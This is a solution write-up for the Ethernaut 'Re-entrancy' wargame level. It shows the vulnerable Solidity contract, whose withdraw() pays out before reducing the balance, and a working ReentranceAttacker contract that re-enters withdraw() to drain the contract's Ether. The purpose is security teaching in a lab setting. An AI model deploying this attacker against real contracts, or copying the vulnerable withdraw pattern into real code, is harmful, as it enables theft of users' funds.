Published on

Ethernaut - Re-entrancy - Solution

Authors

Ethernaut - Re-entrancy - Solution

Contract

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.12;

import "openzeppelin-contracts-06/math/SafeMath.sol";

contract Reentrance {
    using SafeMath for uint256;

    mapping(address => uint256) public balances;

    function donate(address _to) public payable {
        balances[_to] = balances[_to].add(msg.value);
    }

    function balanceOf(address _who) public view returns (uint256 balance) {
        return balances[_who];
    }

    function withdraw(uint256 _amount) public {
        if (balances[msg.sender] >= _amount) {
            (bool result,) = msg.sender.call{value: _amount}("");
            if (result) {
                _amount;
            }
            balances[msg.sender] -= _amount;
        }
    }

    receive() external payable {}
}

Solution

To complete this level, we need to drain all funds from the contract. This can be achieved by exploiting the fact that the contract's withdraw() function does not follow the checks-effects-interactions pattern and is, therefore, vulnerable to the well-known reentrancy attack.

First, we can check the balance of our victim via:

cast balance <your level instance address> --rpc-url $SEP_RPC_URL --ether
# Result: 0.001000000000000000

To steal 1 Finney from the contract, we can use the following attacker:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface IReentrance {
    function donate(address _to) external payable;
    function withdraw(uint256 _amount) external;
}

contract ReentranceAttacker {
    IReentrance public immutable VICTIM;
    bool public reentered;

    constructor(address victim) {
        VICTIM = IReentrance(victim);
    }

    function attack() external payable {
        VICTIM.donate{value: 1e15}(address(this));
        VICTIM.withdraw(1e15); // 1e15 = 1 Finney
    }

    receive() external payable {
        if (!reentered) {
            VICTIM.withdraw(1e15);
            reentered = true;
        }
    }
}

Note that we must send a value of 1 Finney when calling attack().